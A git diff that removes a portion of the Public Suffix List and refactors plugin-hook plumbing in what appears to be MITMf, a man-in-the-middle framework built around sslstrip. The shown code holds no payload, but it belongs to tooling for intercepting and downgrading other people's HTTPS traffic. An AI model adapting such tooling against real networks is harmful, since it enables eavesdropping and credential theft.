-!statecouncil.om
-
-// org : http://en.wikipedia.org/wiki/.org
-org
-
-// CentralNic names : http://www.centralnic.com/names/domains
-// Submitted by registry 2008-06-17
-ae.org
-
-// ZaNiC names : http://www.za.net/
-// Confirmed by registry 2009-10-03
-za.org
-
-// pa : http://www.nic.pa/
-// Some additional second level "domains" resolve directly as hostnames, such as
-// pannet.pa, so we add a rule for "pa".
-pa
-ac.pa
-gob.pa
-com.pa
-org.pa
-sld.pa
-edu.pa
-net.pa
-ing.pa
-abo.pa
-med.pa
-nom.pa
-
-// pe : https://www.nic.pe/InformeFinalComision.pdf
-pe
-edu.pe
-gob.pe
-nom.pe
-mil.pe
-org.pe
-com.pe
-net.pe
-
-// pf : http://www.gobin.info/domainname/formulaire-pf.pdf
-pf
-com.pf
-org.pf
-edu.pf
-
-// pg : http://en.wikipedia.org/wiki/.pg
-*.pg
-
-// ph : http://www.domains.ph/FAQ2.asp
-// Submitted by registry 2008-06-13
-ph
-com.ph
-net.ph
-org.ph
-gov.ph
-edu.ph
-ngo.ph
-mil.ph
-i.ph
-
-// pk : http://pk5.pknic.net.pk/pk5/msgNamepk.PK
-pk
-com.pk
-net.pk
-edu.pk
-org.pk
-fam.pk
-biz.pk
-web.pk
-gov.pk
-gob.pk
-gok.pk
-gon.pk
-gop.pk
-gos.pk
-info.pk
-
-// pl : http://www.dns.pl/english/
-pl
-// NASK functional domains (nask.pl / dns.pl) : http://www.dns.pl/english/dns-funk.html
-aid.pl
-agro.pl
-atm.pl
-auto.pl
-biz.pl
-com.pl
-edu.pl
-gmina.pl
-gsm.pl
-info.pl
-mail.pl
-miasta.pl
-media.pl
-mil.pl
-net.pl
-nieruchomosci.pl
-nom.pl
-org.pl
-pc.pl
-powiat.pl
-priv.pl
-realestate.pl
-rel.pl
-sex.pl
-shop.pl
-sklep.pl
-sos.pl
-szkola.pl
-targi.pl
-tm.pl
-tourism.pl
-travel.pl
-turystyka.pl
-// ICM functional domains (icm.edu.pl)
-6bone.pl
-art.pl
-mbone.pl
-// Government domains (administred by ippt.gov.pl)
-gov.pl
-uw.gov.pl
-um.gov.pl
-ug.gov.pl
-upow.gov.pl
-starostwo.gov.pl
-so.gov.pl
-sr.gov.pl
-po.gov.pl
-pa.gov.pl
-// other functional domains
-ngo.pl
-irc.pl
-usenet.pl
-// NASK geographical domains : http://www.dns.pl/english/dns-regiony.html
-augustow.pl
-babia-gora.pl
-bedzin.pl
-beskidy.pl
-bialowieza.pl
-bialystok.pl
-bielawa.pl
-bieszczady.pl
-boleslawiec.pl
-bydgoszcz.pl
-bytom.pl
-cieszyn.pl
-czeladz.pl
-czest.pl
-dlugoleka.pl
-elblag.pl
-elk.pl
-glogow.pl
-gniezno.pl
-gorlice.pl
-grajewo.pl
-ilawa.pl
-jaworzno.pl
-jelenia-gora.pl
-jgora.pl
-kalisz.pl
-kazimierz-dolny.pl
-karpacz.pl
-kartuzy.pl
-kaszuby.pl
-katowice.pl
-kepno.pl
-ketrzyn.pl
-klodzko.pl
-kobierzyce.pl
-kolobrzeg.pl
-konin.pl
-konskowola.pl
-kutno.pl
-lapy.pl
-lebork.pl
-legnica.pl
-lezajsk.pl
-limanowa.pl
-lomza.pl
-lowicz.pl
-lubin.pl
-lukow.pl
-malbork.pl
-malopolska.pl
-mazowsze.pl
-mazury.pl
-mielec.pl
-mielno.pl
-mragowo.pl
-naklo.pl
-nowaruda.pl
-nysa.pl
-olawa.pl
-olecko.pl
-olkusz.pl
-olsztyn.pl
-opoczno.pl
-opole.pl
-ostroda.pl
-ostroleka.pl
-ostrowiec.pl
-ostrowwlkp.pl
-pila.pl
-pisz.pl
-podhale.pl
-podlasie.pl
-polkowice.pl
-pomorze.pl
-pomorskie.pl
-prochowice.pl
-pruszkow.pl
-przeworsk.pl
-pulawy.pl
-radom.pl
-rawa-maz.pl
-rybnik.pl
-rzeszow.pl
-sanok.pl
-sejny.pl
-siedlce.pl
-slask.pl
-slupsk.pl
-sosnowiec.pl
-stalowa-wola.pl
-skoczow.pl
-starachowice.pl
-stargard.pl
-suwalki.pl
-swidnica.pl
-swiebodzin.pl
-swinoujscie.pl
-szczecin.pl
-szczytno.pl
-tarnobrzeg.pl
-tgory.pl
-turek.pl
-tychy.pl
-ustka.pl
-walbrzych.pl
-warmia.pl
-warszawa.pl
-waw.pl
-wegrow.pl
-wielun.pl
-wlocl.pl
-wloclawek.pl
-wodzislaw.pl
-wolomin.pl
-wroclaw.pl
-zachpomor.pl
-zagan.pl
-zarow.pl
-zgora.pl
-zgorzelec.pl
-// TASK geographical domains (www.task.gda.pl/uslugi/dns)
-gda.pl
-gdansk.pl
-gdynia.pl
-med.pl
-sopot.pl
-// other geographical domains
-gliwice.pl
-krakow.pl
-poznan.pl
-wroc.pl
-zakopane.pl
-
-// co.pl : Mainseek Sp. z o.o. http://www.co.pl
-co.pl
-
-// pn : http://www.government.pn/PnRegistry/policies.htm
-pn
-gov.pn
-co.pn
-org.pn
-edu.pn
-net.pn
-
-// pr : http://www.nic.pr/index.asp?f=1
-pr
-com.pr
-net.pr
-org.pr
-gov.pr
-edu.pr
-isla.pr
-pro.pr
-biz.pr
-info.pr
-name.pr
-// these aren't mentioned on nic.pr, but on http://en.wikipedia.org/wiki/.pr
-est.pr
-prof.pr
-ac.pr
-
-// pro : http://www.nic.pro/support_faq.htm
-pro
-aca.pro
-bar.pro
-cpa.pro
-jur.pro
-law.pro
-med.pro
-eng.pro
-
-// ps : http://en.wikipedia.org/wiki/.ps
-// http://www.nic.ps/registration/policy.html#reg
-ps
-edu.ps
-gov.ps
-sec.ps
-plo.ps
-com.ps
-org.ps
-net.ps
-
-// pt : http://online.dns.pt/dns/start_dns
-pt
-net.pt
-gov.pt
-org.pt
-edu.pt
-int.pt
-publ.pt
-com.pt
-nome.pt
-
-// pw : http://en.wikipedia.org/wiki/.pw
-pw
-co.pw
-ne.pw
-or.pw
-ed.pw
-go.pw
-belau.pw
-
-// py : http://www.nic.py/faq_a.html#faq_b
-*.py
-
-// qa : http://www.qatar.net.qa/services/virtual.htm
-*.qa
-
-// re : http://www.afnic.re/obtenir/chartes/nommage-re/annexe-descriptifs
-re
-com.re
-asso.re
-nom.re
-
-// ro : http://www.rotld.ro/
-ro
-com.ro
-org.ro
-tm.ro
-nt.ro
-nom.ro
-info.ro
-rec.ro
-arts.ro
-firm.ro
-store.ro
-www.ro
-
-// rs : http://en.wikipedia.org/wiki/.rs
-rs
-co.rs
-org.rs
-edu.rs
-ac.rs
-gov.rs
-in.rs
-
-// ru : http://www.cctld.ru/ru/docs/aktiv_8.php
-// Industry domains
-ru
-ac.ru
-com.ru
-edu.ru
-int.ru
-net.ru
-org.ru
-pp.ru
-// Geographical domains
-adygeya.ru
-altai.ru
-amur.ru
-arkhangelsk.ru
-astrakhan.ru
-bashkiria.ru
-belgorod.ru
-bir.ru
-bryansk.ru
-buryatia.ru
-cbg.ru
-chel.ru
-chelyabinsk.ru
-chita.ru
-chukotka.ru
-chuvashia.ru
-dagestan.ru
-dudinka.ru
-e-burg.ru
-grozny.ru
-irkutsk.ru
-ivanovo.ru
-izhevsk.ru
-jar.ru
-joshkar-ola.ru
-kalmykia.ru
-kaluga.ru
-kamchatka.ru
-karelia.ru
-kazan.ru
-kchr.ru
-kemerovo.ru
-khabarovsk.ru
-khakassia.ru
-khv.ru
-kirov.ru
-koenig.ru
-komi.ru
-kostroma.ru
-krasnoyarsk.ru
-kuban.ru
-kurgan.ru
-kursk.ru
-lipetsk.ru
-magadan.ru
-mari.ru
-mari-el.ru
-marine.ru
-mordovia.ru
-mosreg.ru
-msk.ru
-murmansk.ru
-nalchik.ru
-nnov.ru
-nov.ru
-novosibirsk.ru
-nsk.ru
-omsk.ru
-orenburg.ru
-oryol.ru
-palana.ru
-penza.ru
-perm.ru
-pskov.ru
-ptz.ru
-rnd.ru
-ryazan.ru
-sakhalin.ru
-samara.ru
-saratov.ru
-simbirsk.ru
-smolensk.ru
-spb.ru
-stavropol.ru
-stv.ru
-surgut.ru
-tambov.ru
-tatarstan.ru
-tom.ru
-tomsk.ru
-tsaritsyn.ru
-tsk.ru
-tula.ru
-tuva.ru
-tver.ru
-tyumen.ru
-udm.ru
-udmurtia.ru
-ulan-ude.ru
-vladikavkaz.ru
-vladimir.ru
-vladivostok.ru
-volgograd.ru
-vologda.ru
-voronezh.ru
-vrn.ru
-vyatka.ru
-yakutia.ru
-yamal.ru
-yaroslavl.ru
-yekaterinburg.ru
-yuzhno-sakhalinsk.ru
-// More geographical domains
-amursk.ru
-baikal.ru
-cmw.ru
-fareast.ru
-jamal.ru
-kms.ru
-k-uralsk.ru
-kustanai.ru
-kuzbass.ru
-magnitka.ru
-mytis.ru
-nakhodka.ru
-nkz.ru
-norilsk.ru
-oskol.ru
-pyatigorsk.ru
-rubtsovsk.ru
-snz.ru
-syzran.ru
-vdonsk.ru
-zgrad.ru
-// State domains
-gov.ru
-mil.ru
-// Technical domains
-test.ru
-
-// rw : http://www.nic.rw/cgi-bin/policy.pl
-rw
-gov.rw
-net.rw
-edu.rw
-ac.rw
-com.rw
-co.rw
-int.rw
-mil.rw
-gouv.rw
-
-// sa : http://www.nic.net.sa/
-sa
-com.sa
-net.sa
-org.sa
-gov.sa
-med.sa
-pub.sa
-edu.sa
-sch.sa
-
-// sb : http://www.sbnic.net.sb/
-// Submitted by registry 2008-06-08
-sb
-com.sb
-edu.sb
-gov.sb
-net.sb
-org.sb
-
-// sc : http://www.nic.sc/
-sc
-com.sc
-gov.sc
-net.sc
-org.sc
-edu.sc
-
-// sd : http://www.isoc.sd/sudanic.isoc.sd/billing_pricing.htm
-// Submitted by registry 2008-06-17
-sd
-com.sd
-net.sd
-org.sd
-edu.sd
-med.sd
-gov.sd
-info.sd
-
-// se : http://en.wikipedia.org/wiki/.se
-// Submitted by registry 2008-06-24
-se
-a.se
-ac.se
-b.se
-bd.se
-brand.se
-c.se
-d.se
-e.se
-f.se
-fh.se
-fhsk.se
-fhv.se
-g.se
-h.se
-i.se
-k.se
-komforb.se
-kommunalforbund.se
-komvux.se
-l.se
-lanbib.se
-m.se
-n.se
-naturbruksgymn.se
-o.se
-org.se
-p.se
-parti.se
-pp.se
-press.se
-r.se
-s.se
-sshn.se
-t.se
-tm.se
-u.se
-w.se
-x.se
-y.se
-z.se
-
-// sg : http://www.nic.net.sg/sub_policies_agreement/2ld.html
-sg
-com.sg
-net.sg
-org.sg
-gov.sg
-edu.sg
-per.sg
-
-// sh : http://www.nic.sh/rules.html
-// list of 2nd level domains ?
-sh
-
-// si : http://en.wikipedia.org/wiki/.si
-si
-
-// sj : No registrations at this time.
-// Submitted by registry 2008-06-16
-
-// sk : http://en.wikipedia.org/wiki/.sk
-// list of 2nd level domains ?
-sk
-
-// sl : http://www.nic.sl
-// Submitted by registry 2008-06-12
-sl
-com.sl
-net.sl
-edu.sl
-gov.sl
-org.sl
-
-// sm : http://en.wikipedia.org/wiki/.sm
-sm
-
-// sn : http://en.wikipedia.org/wiki/.sn
-sn
-art.sn
-com.sn
-edu.sn
-gouv.sn
-org.sn
-perso.sn
-univ.sn
-
-// so : http://www.soregistry.com/
-so
-com.so
-net.so
-org.so
-
-// sr : http://en.wikipedia.org/wiki/.sr
-sr
-
-// st : http://www.nic.st/html/policyrules/
-st
-co.st
-com.st
-consulado.st
-edu.st
-embaixada.st
-gov.st
-mil.st
-net.st
-org.st
-principe.st
-saotome.st
-store.st
-
-// su : http://en.wikipedia.org/wiki/.su
-su
-
-// sv : http://www.svnet.org.sv/svpolicy.html
-*.sv
-
-// sy : http://en.wikipedia.org/wiki/.sy
-// see also: http://www.gobin.info/domainname/sy.doc
-sy
-edu.sy
-gov.sy
-net.sy
-mil.sy
-com.sy
-org.sy
-
-// sz : http://en.wikipedia.org/wiki/.sz
-// http://www.sispa.org.sz/
-sz
-co.sz
-ac.sz
-org.sz
-
-// tc : http://en.wikipedia.org/wiki/.tc
-tc
-
-// td : http://en.wikipedia.org/wiki/.td
-td
-
-// tel: http://en.wikipedia.org/wiki/.tel
-// http://www.telnic.org/
-tel
-
-// tf : http://en.wikipedia.org/wiki/.tf
-tf
-
-// tg : http://en.wikipedia.org/wiki/.tg
-// http://www.nic.tg/nictg/index.php implies no reserved 2nd-level domains,
-// although this contradicts wikipedia.
-tg
-
-// th : http://en.wikipedia.org/wiki/.th
-// Submitted by registry 2008-06-17
-th
-ac.th
-co.th
-go.th
-in.th
-mi.th
-net.th
-or.th
-
-// tj : http://www.nic.tj/policy.htm
-tj
-ac.tj
-biz.tj
-co.tj
-com.tj
-edu.tj
-go.tj
-gov.tj
-int.tj
-mil.tj
-name.tj
-net.tj
-nic.tj
-org.tj
-test.tj
-web.tj
-
-// tk : http://en.wikipedia.org/wiki/.tk
-tk
-
-// tl : http://en.wikipedia.org/wiki/.tl
-tl
-gov.tl
-
-// tm : http://www.nic.tm/rules.html
-// list of 2nd level tlds ?
-tm
-
-// tn : http://en.wikipedia.org/wiki/.tn
-// http://whois.ati.tn/
-tn
-com.tn
-ens.tn
-fin.tn
-gov.tn
-ind.tn
-intl.tn
-nat.tn
-net.tn
-org.tn
-info.tn
-perso.tn
-tourism.tn
-edunet.tn
-rnrt.tn
-rns.tn
-rnu.tn
-mincom.tn
-agrinet.tn
-defense.tn
-turen.tn
-
-// to : http://en.wikipedia.org/wiki/.to
-// Submitted by registry 2008-06-17
-to
-com.to
-gov.to
-net.to
-org.to
-edu.to
-mil.to
-
-// tr : http://en.wikipedia.org/wiki/.tr
-*.tr
-!nic.tr
-// Used by government in the TRNC
-// http://en.wikipedia.org/wiki/.nc.tr
-gov.nc.tr
-
-// travel : http://en.wikipedia.org/wiki/.travel
-travel
-
-// tt : http://www.nic.tt/
-tt
-co.tt
-com.tt
-org.tt
-net.tt
-biz.tt
-info.tt
-pro.tt
-int.tt
-coop.tt
-jobs.tt
-mobi.tt
-travel.tt
-museum.tt
-aero.tt
-name.tt
-gov.tt
-edu.tt
-
-// tv : http://en.wikipedia.org/wiki/.tv
-// Not listing any 2LDs as reserved since none seem to exist in practice,
-// Wikipedia notwithstanding.
-tv
-
-// tw : http://en.wikipedia.org/wiki/.tw
-tw
-edu.tw
-gov.tw
-mil.tw
-com.tw
-net.tw
-org.tw
-idv.tw
-game.tw
-ebiz.tw
-club.tw
-網路.tw
-組織.tw
-商業.tw
-
-// tz : http://en.wikipedia.org/wiki/.tz
-// Submitted by registry 2008-06-17
-// Updated from http://www.tznic.or.tz/index.php/domains.html 2010-10-25
-ac.tz
-co.tz
-go.tz
-mil.tz
-ne.tz
-or.tz
-sc.tz
-
-// ua : http://www.nic.net.ua/
-ua
-com.ua
-edu.ua
-gov.ua
-in.ua
-net.ua
-org.ua
-// ua geo-names
-cherkassy.ua
-chernigov.ua
-chernovtsy.ua
-ck.ua
-cn.ua
-crimea.ua
-cv.ua
-dn.ua
-dnepropetrovsk.ua
-donetsk.ua
-dp.ua
-if.ua
-ivano-frankivsk.ua
-kh.ua
-kharkov.ua
-kherson.ua
-khmelnitskiy.ua
-kiev.ua
-kirovograd.ua
-km.ua
-kr.ua
-ks.ua
-kv.ua
-lg.ua
-lugansk.ua
-lutsk.ua
-lviv.ua
-mk.ua
-nikolaev.ua
-od.ua
-odessa.ua
-pl.ua
-poltava.ua
-rovno.ua
-rv.ua
-sebastopol.ua
-sumy.ua
-te.ua
-ternopil.ua
-uzhgorod.ua
-vinnica.ua
-vn.ua
-zaporizhzhe.ua
-zp.ua
-zhitomir.ua
-zt.ua
-
-// ug : http://www.registry.co.ug/
-ug
-co.ug
-ac.ug
-sc.ug
-go.ug
-ne.ug
-or.ug
-
-// uk : http://en.wikipedia.org/wiki/.uk
-*.uk
-*.sch.uk
-!bl.uk
-!british-library.uk
-!icnet.uk
-!gov.uk
-!jet.uk
-!mod.uk
-!nel.uk
-!nhs.uk
-!nic.uk
-!nls.uk
-!national-library-scotland.uk
-!parliament.uk
-!police.uk
-
-// us : http://en.wikipedia.org/wiki/.us
-us
-dni.us
-fed.us
-isa.us
-kids.us
-nsn.us
-// us geographic names
-ak.us
-al.us
-ar.us
-as.us
-az.us
-ca.us
-co.us
-ct.us
-dc.us
-de.us
-fl.us
-ga.us
-gu.us
-hi.us
-ia.us
-id.us
-il.us
-in.us
-ks.us
-ky.us
-la.us
-ma.us
-md.us
-me.us
-mi.us
-mn.us
-mo.us
-ms.us
-mt.us
-nc.us
-nd.us
-ne.us
-nh.us
-nj.us
-nm.us
-nv.us
-ny.us
-oh.us
-ok.us
-or.us
-pa.us
-pr.us
-ri.us
-sc.us
-sd.us
-tn.us
-tx.us
-ut.us
-vi.us
-vt.us
-va.us
-wa.us
-wi.us
-wv.us
-wy.us
-// The registrar notes several more specific domains available in each state,
-// such as state.*.us, dst.*.us, etc., but resolution of these is somewhat
-// haphazard; in some states these domains resolve as addresses, while in others
-// only subdomains are available, or even nothing at all. We include the
-// most common ones where it's clear that different sites are different
-// entities.
-k12.ak.us
-k12.al.us
-k12.ar.us
-k12.as.us
-k12.az.us
-k12.ca.us
-k12.co.us
-k12.ct.us
-k12.dc.us
-k12.de.us
-k12.fl.us
-k12.ga.us
-k12.gu.us
-// k12.hi.us Hawaii has a state-wide DOE login: bug 614565
-k12.ia.us
-k12.id.us
-k12.il.us
-k12.in.us
-k12.ks.us
-k12.ky.us
-k12.la.us
-k12.ma.us
-k12.md.us
-k12.me.us
-k12.mi.us
-k12.mn.us
-k12.mo.us
-k12.ms.us
-k12.mt.us
-k12.nc.us
-k12.nd.us
-k12.ne.us
-k12.nh.us
-k12.nj.us
-k12.nm.us
-k12.nv.us
-k12.ny.us
-k12.oh.us
-k12.ok.us
-k12.or.us
-k12.pa.us
-k12.pr.us
-k12.ri.us
-k12.sc.us
-k12.sd.us
-k12.tn.us
-k12.tx.us
-k12.ut.us
-k12.vi.us
-k12.vt.us
-k12.va.us
-k12.wa.us
-k12.wi.us
-k12.wv.us
-k12.wy.us
-
-cc.ak.us
-cc.al.us
-cc.ar.us
-cc.as.us
-cc.az.us
-cc.ca.us
-cc.co.us
-cc.ct.us
-cc.dc.us
-cc.de.us
-cc.fl.us
-cc.ga.us
-cc.gu.us
-cc.hi.us
-cc.ia.us
-cc.id.us
-cc.il.us
-cc.in.us
-cc.ks.us
-cc.ky.us
-cc.la.us
-cc.ma.us
-cc.md.us
-cc.me.us
-cc.mi.us
-cc.mn.us
-cc.mo.us
-cc.ms.us
-cc.mt.us
-cc.nc.us
-cc.nd.us
-cc.ne.us
-cc.nh.us
-cc.nj.us
-cc.nm.us
-cc.nv.us
-cc.ny.us
-cc.oh.us
-cc.ok.us
-cc.or.us
-cc.pa.us
-cc.pr.us
-cc.ri.us
-cc.sc.us
-cc.sd.us
-cc.tn.us
-cc.tx.us
-cc.ut.us
-cc.vi.us
-cc.vt.us
-cc.va.us
-cc.wa.us
-cc.wi.us
-cc.wv.us
-cc.wy.us
-
-lib.ak.us
-lib.al.us
-lib.ar.us
-lib.as.us
-lib.az.us
-lib.ca.us
-lib.co.us
-lib.ct.us
-lib.dc.us
-lib.de.us
-lib.fl.us
-lib.ga.us
-lib.gu.us
-lib.hi.us
-lib.ia.us
-lib.id.us
-lib.il.us
-lib.in.us
-lib.ks.us
-lib.ky.us
-lib.la.us
-lib.ma.us
-lib.md.us
-lib.me.us
-lib.mi.us
-lib.mn.us
-lib.mo.us
-lib.ms.us
-lib.mt.us
-lib.nc.us
-lib.nd.us
-lib.ne.us
-lib.nh.us
-lib.nj.us
-lib.nm.us
-lib.nv.us
-lib.ny.us
-lib.oh.us
-lib.ok.us
-lib.or.us
-lib.pa.us
-lib.pr.us
-lib.ri.us
-lib.sc.us
-lib.sd.us
-lib.tn.us
-lib.tx.us
-lib.ut.us
-lib.vi.us
-lib.vt.us
-lib.va.us
-lib.wa.us
-lib.wi.us
-lib.wv.us
-lib.wy.us
-
-// k12.ma.us contains school districts in Massachusetts. The 4LDs are
-// managed indepedently except for private (PVT), charter (CHTR) and
-// parochial (PAROCH) schools. Those are delegated dorectly to the
-// 5LD operators.
-pvt.k12.ma.us
-chtr.k12.ma.us
-paroch.k12.ma.us
-
-// uy : http://www.antel.com.uy/
-*.uy
-
-// uz : http://www.reg.uz/registerr.html
-// are there other 2nd level tlds ?
-uz
-com.uz
-co.uz
-
-// va : http://en.wikipedia.org/wiki/.va
-va
-
-// vc : http://en.wikipedia.org/wiki/.vc
-// Submitted by registry 2008-06-13
-vc
-com.vc
-net.vc
-org.vc
-gov.vc
-mil.vc
-edu.vc
-
-// ve : http://registro.nic.ve/nicve/registro/index.html
-*.ve
-
-// vg : http://en.wikipedia.org/wiki/.vg
-vg
-
-// vi : http://www.nic.vi/newdomainform.htm
-// http://www.nic.vi/Domain_Rules/body_domain_rules.html indicates some other
-// TLDs are "reserved", such as edu.vi and gov.vi, but doesn't actually say they
-// are available for registration (which they do not seem to be).
-vi
-co.vi
-com.vi
-k12.vi
-net.vi
-org.vi
-
-// vn : https://www.dot.vn/vnnic/vnnic/domainregistration.jsp
-vn
-com.vn
-net.vn
-org.vn
-edu.vn
-gov.vn
-int.vn
-ac.vn
-biz.vn
-info.vn
-name.vn
-pro.vn
-health.vn
-
-// vu : http://en.wikipedia.org/wiki/.vu
-// list of 2nd level tlds ?
-vu
-
-// ws : http://en.wikipedia.org/wiki/.ws
-// http://samoanic.ws/index.dhtml
-ws
-com.ws
-net.ws
-org.ws
-gov.ws
-edu.ws
-
-// IDN ccTLDs
-// Please sort by ISO 3166 ccTLD, then punicode string
-// when submitting patches and follow this format:
-// ("" ) :
-// [optional sponsoring org]
-//
-
-// xn--mgbaam7a8h ("Emerat" Arabic) : AE
-//http://nic.ae/english/arabicdomain/rules.jsp
-امارات
-
-// xn--54b7fta0cc ("Bangla" Bangla) : BD
-বাংলা
-
-// xn--fiqs8s ("China" Chinese-Han-Simplified <.Zhonggou>) : CN
-// CNNIC
-// http://cnnic.cn/html/Dir/2005/10/11/3218.htm
-中国
-
-// xn--fiqz9s ("China" Chinese-Han-Traditional <.Zhonggou>) : CN
-// CNNIC
-// http://cnnic.cn/html/Dir/2005/10/11/3218.htm
-中國
-
-// xn--lgbbat1ad8j ("Algeria / Al Jazair" Arabic) : DZ
-الجزائر
-
-// xn--wgbh1c ("Egypt" Arabic .masr) : EG
-// http://www.dotmasr.eg/
-مصر
-
-// xn--node ("ge" Georgian (Mkhedruli)) : GE
-გე
-
-// xn--j6w193g ("Hong Kong" Chinese-Han) : HK
-// https://www2.hkirc.hk/register/rules.jsp
-香港
-
-// xn--h2brj9c ("Bharat" Devanagari) : IN
-// India
-भारत
-
-// xn--mgbbh1a71e ("Bharat" Arabic) : IN
-// India
-بھارت
-
-// xn--fpcrj9c3d ("Bharat" Telugu) : IN
-// India
-భారత్
-
-// xn--gecrj9c ("Bharat" Gujarati) : IN
-// India
-ભારત
-
-// xn--s9brj9c ("Bharat" Gurmukhi) : IN
-// India
-ਭਾਰਤ
-
-// xn--45brj9c ("Bharat" Bengali) : IN
-// India
-ভারত
-
-// xn--xkc2dl3a5ee0h ("India" Tamil) : IN
-// India
-இந்தியா
-
-// xn--mgba3a4f16a ("Iran" Persian) : IR
-ایران
-
-// xn--mgba3a4fra ("Iran" Arabic) : IR
-ايران
-
-//xn--mgbayh7gpa ("al-Ordon" Arabic) JO
-//National Information Technology Center (NITC)
-//Royal Scientific Society, Al-Jubeiha
-الاردن
-
-// xn--3e0b707e ("Republic of Korea" Hangul) : KR
-한국
-
-// xn--fzc2c9e2c ("Lanka" Sinhalese-Sinhala) : LK
-// http://nic.lk
-ලංකා
-
-// xn--xkc2al3hye2a ("Ilangai" Tamil) : LK
-// http://nic.lk
-இலங்கை
-
-// xn--mgbc0a9azcg ("Morocco / al-Maghrib" Arabic) : MA
-المغرب
-
-// xn--mgb9awbf ("Oman" Arabic) : OM
-عمان
-
-// xn--ygbi2ammx ("Falasteen" Arabic) : PS
-// The Palestinian National Internet Naming Authority (PNINA)
-// http://www.pnina.ps
-فلسطين
-
-// xn--90a3ac ("srb" Cyrillic) : RS
-срб
-
-// xn--p1ai ("rf" Russian-Cyrillic) : RU
-// http://www.cctld.ru/en/docs/rulesrf.php
-рф
-
-// xn--wgbl6a ("Qatar" Arabic) : QA
-// http://www.ict.gov.qa/
-قطر
-
-// xn--mgberp4a5d4ar ("AlSaudiah" Arabic) : SA
-// http://www.nic.net.sa/
-السعودية
-
-// xn--mgberp4a5d4a87g ("AlSaudiah" Arabic) variant : SA
-السعودیة
-
-// xn--mgbqly7c0a67fbc ("AlSaudiah" Arabic) variant : SA
-السعودیۃ
-
-// xn--mgbqly7cvafr ("AlSaudiah" Arabic) variant : SA
-السعوديه
-
-// xn--ogbpf8fl ("Syria" Arabic) : SY
-سورية
-
-// xn--mgbtf8fl ("Syria" Arabic) variant : SY
-سوريا
-
-// xn--yfro4i67o Singapore ("Singapore" Chinese-Han) : SG
-新加坡
-
-// xn--clchc0ea0b2g2a9gcd ("Singapore" Tamil) : SG
-சிங்கப்பூர்
-
-// xn--o3cw4h ("Thai" Thai) : TH
-// http://www.thnic.co.th
-ไทย
-
-// xn--pgbs0dh ("Tunis") : TN
-// http://nic.tn
-تونس
-
-// xn--kpry57d ("Taiwan" Chinese-Han-Traditional) : TW
-// http://www.twnic.net/english/dn/dn_07a.htm
-台灣
-
-// xn--kprw13d ("Taiwan" Chinese-Han-Simplified) : TW
-// http://www.twnic.net/english/dn/dn_07a.htm
-台湾
-
-// xn--nnx388a ("Taiwan") variant : TW
-臺灣
-
-// xn--j1amh ("ukr" Cyrillic) : UA
-укр
-
-// xn--mgb2ddes ("AlYemen" Arabic) : YE
-اليمن
-
-// xxx : http://icmregistry.com
-xxx
-
-// ye : http://www.y.net.ye/services/domain_name.htm
-*.ye
-
-// yu : http://www.nic.yu/pravilnik-e.html
-*.yu
-
-// za : http://www.zadna.org.za/slds.html
-*.za
-
-// zm : http://en.wikipedia.org/wiki/.zm
-*.zm
-
-// zw : http://en.wikipedia.org/wiki/.zw
-*.zw
diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py
index 9fe76cb..d9175a3 100644
--- a/core/sergioproxy/ProxyPlugins.py
+++ b/core/sergioproxy/ProxyPlugins.py
@@ -42,6 +42,10 @@ class ProxyPlugins:
in handleResponse, but is still annoying.
'''
_instance = None
+
+ plist = []
+ mthdDict = {"connectionMade": "clientRequest", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"}
+ pmthds = {}
@staticmethod
def getInstance():
@@ -50,13 +54,9 @@ class ProxyPlugins:
return ProxyPlugins._instance
- def setPlugins(self,plugins):
+ def setPlugins(self, plugins):
'''Set the plugins in use'''
- self.plist = []
-
- #build a lookup list
- #need to clean up in future
- self.pmthds = {}
+
for p in plugins:
self.addPlugin(p)
@@ -66,17 +66,17 @@ class ProxyPlugins:
'''Load a plugin'''
self.plist.append(p)
mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
- for mthd in p.implements:
+ for mthd,pmthd in self.mthdDict.iteritems():
try:
- self.pmthds[mthd].append(getattr(p,mthd))
+ self.pmthds[mthd].append(getattr(p,pmthd))
except KeyError:
- self.pmthds[mthd] = [getattr(p,mthd)]
+ self.pmthds[mthd] = [getattr(p,pmthd)]
def removePlugin(self,p):
'''Unload a plugin'''
self.plist.remove(p)
mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
- for mthd in p.implements:
+ for mthd,pmthd in self.mthdDict.iteritems():
self.pmthds[mthd].remove(p)
def hook(self):
@@ -92,9 +92,15 @@ class ProxyPlugins:
args[key] = values[key]
#prevent self conflict
- args['request'] = args['self']
+ if (fname == "handleResponse") or (fname == "handleHeader") or (fname == "handleEndHeaders"):
+ args['request'] = args['self']
+ args['response'] = args['self'].client
+ else:
+ args['request'] = args['self']
+
del args['self']
+ mitmf_logger.debug("[ProxyPlugins] hooking {}()".format(fname))
#calls any plugin that has this hook
try:
for f in self.pmthds[fname]:
diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py
index df60e20..67b6dba 100644
--- a/core/sslstrip/ClientRequest.py
+++ b/core/sslstrip/ClientRequest.py
@@ -16,7 +16,13 @@
# USA
#
-import urlparse, logging, os, sys, random, re, dns.resolver
+import urlparse
+import logging
+import os
+import sys
+import random
+import re
+import dns.resolver
from twisted.web.http import Request
from twisted.web.http import HTTPChannel
@@ -33,7 +39,6 @@ from SSLServerConnection import SSLServerConnection
from URLMonitor import URLMonitor
from CookieCleaner import CookieCleaner
from DnsCache import DnsCache
-from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger('mitmf')
@@ -52,7 +57,6 @@ class ClientRequest(Request):
self.hsts = URLMonitor.getInstance().hsts
self.cookieCleaner = CookieCleaner.getInstance()
self.dnsCache = DnsCache.getInstance()
- self.plugins = ProxyPlugins.getInstance()
#self.uniqueId = random.randint(0, 10000)
#Use are own DNS server instead of reactor.resolve()
@@ -62,9 +66,6 @@ class ClientRequest(Request):
def cleanHeaders(self):
headers = self.getAllHeaders().copy()
- #for k,v in headers.iteritems():
- # mitmf_logger.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v))
-
if self.hsts:
if 'referer' in headers:
@@ -92,8 +93,6 @@ class ClientRequest(Request):
if 'cache-control' in headers:
del headers['cache-control']
- self.plugins.hook()
-
return headers
def getPathFromUri(self):
@@ -111,7 +110,7 @@ class ClientRequest(Request):
if os.path.exists(scriptPath): return scriptPath
- mitmf_logger.warning("Error: Could not find lock.ico")
+ mitmf_logger.warning("[ClientRequest] Error: Could not find lock.ico")
return "lock.ico"
